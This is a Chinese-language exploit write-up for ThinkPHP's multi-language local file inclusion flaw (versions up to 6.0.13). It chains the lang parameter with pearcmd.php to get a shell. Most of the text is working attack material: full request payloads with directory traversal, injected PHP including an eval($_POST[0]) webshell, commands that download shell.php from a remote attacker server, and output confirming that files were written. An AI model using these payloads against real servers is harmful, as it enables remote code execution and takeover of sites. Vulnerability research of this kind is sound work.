Thinkphp
ThinkPHP 多语言本地文件包含漏洞
ThinkPHP是一个在中国使用较多的PHP框架。在其6.0.13版本及以前,存在一处本地文件包含漏洞。当多语言特性被开启时,攻击者可以使用
lang
参数来包含任意PHP文件。虽然只能包含本地PHP文件,但在开启了
register_argc_argv
且安装了pcel/pear的环境下,可以包含/usr/local/lib/php/pearcmd.php
并写入任意文件
- 安装了pear(这样才能有pearcmd.php)
- 开启了
register_argc_argv
- 存在文件包含且可以包含后缀为php的文件且没有
open_basedir
的限制。
原理
pearcmd.php的妙用_register argc argv-CSDN博客
根据博客,当执行了pear后,会将$_SERVER[‘argv’]当作参数执行!如果存在文件包含漏洞的话,就可以包含pearcmd.php,拉取远程服务器上的文件到靶机,再通过文件包含获取shell
如果目标出网:
http://localhost/test.php?file=/usr/share/php/pearcmd.php&+install+-R+/tmp+http://vps/shell.php
直接下载shell然后包含
如果不出网:
/test.php?+config-create+/&file=/usr/share/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php
写入shell然后包含,但是这里不清楚这样为什么能写入
根据这个博客Docker PHP裸文件本地包含综述 | 离别歌:
php pearcmd.php
==>
...
config-create
阅读其代码和帮助,可以知道,这个命令需要传入两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中。
所以,我构造出最后的利用数据包如下:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1 Host: 192.168.1.162:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Connection: close
追溯
利用pearcmd.php从LFI到getshell-CSDN博客
通过研究这一博客,可以得知:
pear
本身是一个sh程序pearcmd.php中
$argv
就是通过$_SERVER['argv']
来获取到的。root@VM-0-6-ubuntu:~/somefile# pear help options Options: -v increase verbosity level (default 1) -q be quiet, decrease verbosity level -c file find user configuration in `file' -C file find system configuration in `file' -d foo=bar set user config variable `foo' to `bar' -D foo=bar set system config variable `foo' to `bar' -G start in graphical (Gtk) mode -s store user configuration -S store system configuration -u foo unset `foo' in the user configuration -h, -? display help/usage (this message) -V version information
==>
pear -c /tmp/.feng.php -d man_dir=<?=eval($_POST[0]);?> -s pear install -R /tmp http://xxxxxxx/shell.php
&
在 URL 中的作用是分隔多个查询参数。在这个例子中,URL 包含多个用 &
分隔的参数,每个参数都将被传递给 pearcmd.php
脚本
验证
- ThinkPHP 6.0.12
首先,ThinkPHP多语言特性不是默认开启的,所以我们可以尝试包含public/index.php
文件来确认文件包含漏洞是否存在
如果漏洞存在,则服务器会出错,返回500页面。
文件包含漏洞存在的情况下还需要服务器满足下面两个条件才能利用:
- PHP环境开启了
register_argc_argv
- PHP环境安装了pcel/pear
exp1:写文件(开启段标签)
/?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php
==>
CONFIGURATION (CHANNEL PEAR.PHP.NET): ===================================== Auto-discover new Channels auto_discover Default Channel default_channel pear.php.net HTTP Proxy Server Address http_proxy PEAR server [DEPRECATED] master_server Default Channel Mirror preferred_mirror Remote Configuration File remote_config PEAR executables directory bin_dir /&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/%3C?=phpinfo()?%3E/pear PEAR documentation directory doc_dir /&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/%3C?=phpinfo()?%3E/pear/docs PHP extension directory ext_dir /&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/%3C?=phpinfo()?%3E/pear/ext PEAR directory php_dir /&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/%3C?=phpinfo()?%3E/pear/php PEAR Installer cache directory cache_dir /&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/%3C?=phpinfo()?%3E/pear/cache PEAR configuration file cfg_dir /&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/%3C?=phpinfo()?%3E/pear/cfg directory PEAR data directory data_dir /&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/%3C?=phpinfo()?%3E/pear/data PEAR Installer download download_dir /&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/%3C?=phpinfo()?%3E/pear/download directory Systems manpage files man_dir /&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/%3C?=phpinfo()?%3E/pear/man directory PEAR metadata directory metadata_dir PHP CLI/CGI binary php_bin php.ini location php_ini --program-prefix passed to php_prefix PHP's ./configure --program-suffix passed to php_suffix PHP's ./configure PEAR Installer temp directory temp_dir /&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/%3C?=phpinfo()?%3E/pear/temp PEAR test directory test_dir /&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/%3C?=phpinfo()?%3E/pear/tests PEAR www files directory www_dir /&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/%3C?=phpinfo()?%3E/pear/www Cache TimeToLive cache_ttl Preferred Package State preferred_state Unix file mask umask Debug Log Level verbose PEAR password (for password maintainers) Signature Handling Program sig_bin Signature Key Directory sig_keydir Signature Key Id sig_keyid Package Signature Type sig_type PEAR username (for username maintainers) User Configuration File Filename /var/www/public/shell.php System Configuration File Filename #no#system#config# Successfully created default configuration file "/var/www/public/shell.php"
根据末尾看见写入成功
但是此时直接访问shell.php:
#PEAR_Config 0.9 a:12:{s:7:"php_dir";s:94:"/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/%3C?=phpinfo()?%3E/pear/php";s:8:"data_dir";s:95:"/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/%3C?=phpinfo()?%3E/pear/data";s:7:"www_dir";s:94:"/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/%3C?=phpinfo()?%3E/pear/www";s:7:"cfg_dir";s:94:"/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/%3C?=phpinfo()?%3E/pear/cfg";s:7:"ext_dir";s:94:"/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/%3C?=phpinfo()?%3E/pear/ext";s:7:"doc_dir";s:95:"/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/%3C?=phpinfo()?%3E/pear/docs";s:8:"test_dir";s:96:"/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/%3C?=phpinfo()?%3E/pear/tests";s:9:"cache_dir";s:96:"/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/%3C?=phpinfo()?%3E/pear/cache";s:12:"download_dir";s:99:"/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/%3C?=phpinfo()?%3E/pear/download";s:8:"temp_dir";s:95:"/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/%3C?=phpinfo()?%3E/pear/temp";s:7:"bin_dir";s:90:"/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/%3C?=phpinfo()?%3E/pear";s:7:"man_dir";s:94:"/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/%3C?=phpinfo()?%3E/pear/man";}
可以看到结尾,写入的字符被编码了,可能是浏览器自动编码,抓包写入一下,此时写入成功了
exp1.2:写文件(开启段标签)
?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/.feng.php+-d+man_dir=<?eval($_POST[0]);?>+-s+
这里为了方便,写入phpinfo():
?lang=../../../../../../../../../../../usr/local/lib/php/pearcmd.php&+-c+shell2.php+-d+man_dir=<?php phpinfo();?>+-s+
但是这个paylaod好像有问题,无法复现成功
exp2:下载shell(不需要短标签)
pearcmd.php&+install+-R+/tmp+http://vps/hello.php
==>
downloading hello.php ...
Starting to download hello.php (0 bytes)
...done: 0 bytes
could not extract the package.xml file from "/tmp/tmp/pear/download/hello.php"
Download of "http://172.20.10.4:8000/hello.php" succeeded, but it is not a valid package archive
Invalid or missing remote package file
install failed
Warning: unlink(/tmp/tmp/pear/temp/pear1cgS9N): No such file or directory in System.php on line 225
将-R的参数改为./
即可通过网站访问/tmp/pear/download/hello.php